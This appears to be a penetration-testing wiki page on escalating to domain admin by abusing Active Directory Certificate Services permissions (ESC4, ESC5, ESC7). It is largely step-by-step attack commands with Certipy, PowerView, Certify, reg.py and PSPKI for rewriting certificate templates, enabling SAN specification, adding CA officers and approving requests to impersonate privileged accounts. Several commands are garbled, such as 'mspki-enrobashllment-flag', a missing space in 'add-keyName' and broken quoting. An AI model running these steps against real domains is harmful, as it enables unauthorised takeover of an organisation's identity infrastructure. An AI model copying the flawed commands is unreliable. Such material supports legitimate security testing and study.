Access controls

Theory

In their research papers, Will Schroeder and Lee Christensen found multiple vectors of domain escalation based on access control misconfigurations (dubbed ESC4, ESC5 and ESC7).

Active Directory Certificate Services add multiple objects to AD, including securable ones which principals can have permissions over. This includes:

Certificate templates (ESC4): powerful rights over these objects can allow attackers to "push a misconfiguration to a template that is not otherwise vulnerable (e.g., by enabling the mspki-certificate-name-flag flag for a template that allows for domain authentication) this results in the same domain compromise scenario [...]" (specterops.io) as the one based on misconfigured certificate templates where low-privs users can specify an arbitrary SAN (subjectAltName) and authenticate as anyone else.
The Certificate Authority (ESC7): "The two main rights here are the ManageCA right and the ManageCertificates right, which translate to the “CA administrator” and “Certificate Manager” (sometimes known as a CA officer) respectively. known as Officer rights)" (specterops.io).
- Attack path 1: if an attacker gains control over a principal that has the ManageCA right over the CA, or local admin right, he can remotely flip the EDITF_ATTRIBUTESUBJECTALTNAME2 bit to allow SAN specification in any template (c.f. CA misconfiguration). This only works if the attacker is able to restart the CertSvc service on the CA server.
- Attack path 2: alternatively (or if the attacker can't restart the CertSrv), if an attacker gains control over a principal that has the ManageCA right over the CA object, he can remotely gain the ManageCertificates right, approve pending certificate requests, subverting the "CA certificate manager approval" protection (referred to as PREVENT4 in the research whitepaper).
Several other objects (ESC5): abuse standard AD access control abuse over regulard AD objects.
- The CA server’s AD computer object (i.e., compromise through RBCD abuse, Shadow Credentials, UnPAC-the-hash, ...).
- The CA server’s RPC/DCOM server
- Any descendant AD object or container in the container CN=Public Key Services,CN=Services,CN=Configuration,DC=DOMAIN,DC=LOCAL (e.g., the Certificate Templates container, Certification Authorities container, the NTAuthCertificates object, the Enrollment Services Container, etc.) If a low-privileged attacker can gain control over any of these, the attack can likely compromise the PKI system.
- ...

Practice

Maliciously configuring a CA or a certificate template can be insufficient. A controlled AD object (user or computer) must also have the ability to request a certificate for that template. The controlled AD object must have Certificate-Enrollment rights over the enrollment services (i.e. CA) and over the certificate template (source).

PowerSploit's Add-DomainObjectAcl function (in PowerView) can be used to add Certificate-Enrollment rights to a "controlled AD object" over a specific template. In order to achieve this, the attacker needs to have enough rights (i.e. WriteDacl) over the certificate template.

Add-DomainObjectAcl -TargetIdentity "target template" -PrincipalIdentity "controlled object" -RightsGUID "0e10c968-78fb-11d2-90d4-00c04f79dc55" -TargetSearchBase "LDAP://CN=Configuration,DC=DOMAIN,DC=LOCAL" -Verbose

The example above shows how to edit a certificate template's DACL (requires WriteDacl over the template, i.e. ESC4), but modifying a CA's DACL follows the same principle (requires WriteDacl over the CA, i.e. ESC7).

Certificate templates (ESC4)

In order to obtain an abusable template, some attributes and parameters need to be properly setup

Get Enrollment rights for the vulnerable template
Disable PEND_ALL_REQUESTS flag in mspki-enrollment-flag for disabling Manager Approval
Set mspki-ra-signature attribute to 0 to disable Authorized Signature requirement
Enable ENROLLEE_SUPPLIES_SUBJECT flag in mspki-certificate-name-flag to allow requesting users to specify another privileged account name as a SAN
Set mspki-certificate-application-policy to a certificate purpose for authentication
1. Client Authentication (OID: 1.3.6.1.5.5.7.3.2)
2. Smart Card Logon (OID: 1.3.6.1.4.1.311.20.2.2)
3. PKINIT Client Authentication (OID: 1.3.6.1.5.2.3.4)
4. Any Purpose (OID: 2.5.29.37.0)
5. No EKU
Request a certificate (with a high-privileged user's name set as SAN) for authentication and perform Pass the Ticket.

From UNIX-like systems, Certipy (Python) can be used to enumerate these sensitive access control entries (how to enumerate), and to overwrite the template in order to add the SAN attribute and make it vulnerable to ESC1. It also had the capacity to save the old configuration in order to restore it after the attack.

# 1. Save the old configuration, edit the template and make it vulnerable
certipy template -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -template templateName -save-old

# Warning: running the coommand twice will override the backup file, make sure to keep a seconde backup of the old configuration somwhere.

# 2. Request a template certificate with a custom SAN
certipy req -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -target "$ADCS_HOST" -ca 'ca_name' -template 'vulnerable template' -upn 'domain admin'

# 3. After the attack, restore the original configuration
certipy template -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -template templateName -configuration 'templateName.json'

If a more precise template modification is needed, modifyCertTemplate (Python) can be used to modify each attributes of the template.

# 1. Disable Manager Approval Requirement
modifyCertTemplate.py -template templateName -value 2 -property mspki-enrobashllment-flag "$DOMAIN/$USER:$PASSWORD"

# 2. Disable Authorized Signature Requirement
modifyCertTemplate.py -template templateName -value 0 -property mspki-ra-signature "$DOMAIN/$USER:$PASSWORD"

# 3. Enable SAN Specification
modifyCertTemplate.py -template templateName -add enrollee_supplies_subject -property "msPKI-Certificate-Name-Flag" "$DOMAIN/$USER:$PASSWORD"

# 4. Edit Certificate Application Policy Extension
modifyCertTemplate.py -template templateName -value "'1.3.6.1.5.5.7.3.2', '1.3.6.1.5.2.3.4'" -property "pKIExtendedKeyUsage" "$DOMAIN/$USER:$PASSWORD"

By default, Certipy uses LDAPS, which is not always supported by the domain controllers. The -scheme flag can be used to set whether to use LDAP or LDAPS.

From Windows systems, the Certify (C#) tool can be used to enumerate these sensitive access control entries. At the time of writing (October 21st, 2021) BloodHound doesn't support (yet) enumeration of these access controls. PowerView can be used to modify the template.

# 1. Enumerate sensitive access control entries
Certify.exe find

# 2. Disable Manager Approval Requirement
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity tempalteName -XOR @{'mspki-enrollment-flag'=2} -Verbose

# 3. Disable Authorized Signature Requirement
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity templateName -Set @{'mspki-ra-signature'=0} -Verbose

# 4. Enable SAN Specification
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity templateName -XOR @{'mspki-certificate-name-flag'=1} -Verbose

# 5. Edit Certificate Application Policy Extension
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity templateName -Set @{'mspki-certificate-application-policy'='1.3.6.1.5.5.7.3.2'} -Verbose

If sensitive access entries are identified, creativity will be the best ally.

Currently, the best resources for manually abusing this are

Certificate Authority (ESC7)

There are two attacks paths for this scenario:

If an attacker gains control over a principal that's able to edit the CA server registries (e.g. local admin, or ManageCA?), and is able to restart the CertSrv service on the server, he can make the CA vulnerable to ESC6 and exploit that
Alternatively, if an attacker gains control over a principal that has the ManageCA right over the CA object, he can remotely obtain the ManageCertificates right and with those two rights combined, approve pending certificate requests, subverting the "CA certificate manager approval" protection (referred to as PREVENT4 in the research whitepaper).

ESC7 - Exposing to ESC6

If sufficient rights are obtained over the Certificate Authority (ManageCA?, local admin account, ...) an attacker could remotely edit the registries, enable the EDITF_ATTRIBUTESUBJECTALTNAME2 attribute, restart the CertSvc service, and abuse ESC6 (CA configuration abuse).

The attack can be carried out from UNIX-like systems as follows.

# /!\ Beware: change placeholder values CA-NAME, VALUE, NEW_VALUE

# query flags
reg.py "$DOMAIN"/"$USER":"$PASSWORD"@$"ADCS_IP" query -keyName 'HKLM\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\CA-NAME\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy' -v editflags

# bitwise OR to set the flag if not already (nothing changed if already set)
python3 -c print("NEW_VALUE:", VALUE | 0x40000)

# write flags
reg.py "$DOMAIN"/"$USER":"$PASSWORD"@$"ADCS_IP" add-keyName 'HKLM\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\CA-NAME\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy' -v editflags -vd NEW_VALUE

From Windows systems, the Certify (C#) tool can be used to enumerate info about the CAs, including access rights over the CA object.

Then, PSPKI (PowerShell) can be used to modify the CA object (RSAT is needed on the machine where PSPKI is run).

Certify.exe cas

# Install PSPKI
Install-Module -Name PSPKI
Import-Module PSPKI

# Get the current value of EDITF_ATTRIBUTESUBJECTALTNAME2 and modify it with SetConfigEntry
$configReader = New-Object SysadminsLV.PKI.Dcom.Implementations.CertSrvRegManagerD "CA.domain.local"
$configReader.SetRootNode($true)
$configReader.GetConfigEntry("EditFlags", "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")
$configReader.SetConfigEntry(1376590, "EditFlags", "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")

# Check after setting the flag (EDITF_ATTRIBUTESUBJECTALTNAME2 should appear in the output)
certutil.exe -config "CA.domain.local\CA" -getreg "policy\EditFlags"

If RSAT is not present, it can installed like this:

DISM.exe /Online /Get-Capabilities
DISM.exe /Online /add-capability /CapabilityName:Rsat.CertificateServices.Tools~~~~0.0.1.0

ESC7 - Abusing `SubCA`

When it is not possible to restart the CertSvc service to enable the EDITF_ATTRIBUTESUBJECTALTNAME2 attribute, the SubCA built-in template can be used, along with a ManageCA right.

The SubCA template is vulnerable to the ESC1 attack, but only Domain Admins and Enterprise Admins can enroll in it. If a standard user tries to enroll in it, he will encounter a CERTSRV_E_TEMPLATE_DENIED errror and will obtain a request ID with a corresponding private key.

This ID can be used by a user with the ManageCA and ManageCertificates rights to validate the failed request anyway. The user can then retrieve the issued certificate by specifying the same ID.

If the attacker only has the ManageCA permission, Certipy (Python) can be used to enumerate access rights over the CA object (how to enumerate) and modify some CA's attributes like the officers list (an officer is a user with the ManageCertificates right). The attacker could also enable or disable certificate templates.

# Add a new officier
certipy ca -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -ca 'ca_name' -add-officer 'user'

# List all the templates
certipy ca -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -ca 'ca_name' -list-templates

# Enable a certificate template
certipy ca -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -ca 'ca_name' -enable-template 'SubCA'

In order to abuse the SubCA template with ESC7, both ManageCA and ManageCertificates are needed in order to issue a certificate from a failed request.

# Issue a failed request (need ManageCA and ManageCertificates rights for a failed request)
certipy ca -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -target "$ADCS_HOST" -ca 'ca_name' -issue-request 100

# Retrieve an issued certificate
certipy req -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -target "$ADCS_HOST" -ca 'ca_name' -retrieve 100

The certificate can then be used with Pass-The-Certificate to obtain a TGT and authenticate.

From Windows systems, the Certify (C#) tool can be used to enumerate info about the CAs, including access rights over the CA object, and to request a certificate that requires manager approval.

In this example, both ManageCA and ManageCertificates are already obtained. There is no known method to obtain the ManageCertificates right.

Then, PSPKI (PowerShell) can be used to approve a certificate request (RSAT is needed on the machine where PSPKI is used). PSPKI is a PowerShell module used to "simplify various PKI and AD CS management tasks".

# 1. Request a certificate that requires manager approval with Certify
Certify.exe request /ca:CA.domain.local\CA /template:ApprovalNeeded
...
[*] Request ID : 1

# 2. Install PSPKI on a controlled Windows host
Install-Module -Name PSPKI
Import-Module PSPKI

# 3. Approve the pending request with PSPKI
PSPKI > Get-CertificationAuthority -ComputerName CA.domain.local | Get-PendingRequest -RequestID 1 | Approve-CertificateRequest

# 4. Download the certificate with Certify
Certify.exe download /ca:CA.domain.local\CA /id:1

If sensitive rights are identified, creativity will be the best ally. Not much public tooling is available at the time of writing (October 21st, 2021).

Currently, the best resources for manually abusing this are

Other objects (ESC5)

This can be enumerated and abused like regular AD access control abuses. Once control over an AD-CS-related is gained, creativity will be the attacker's best ally.

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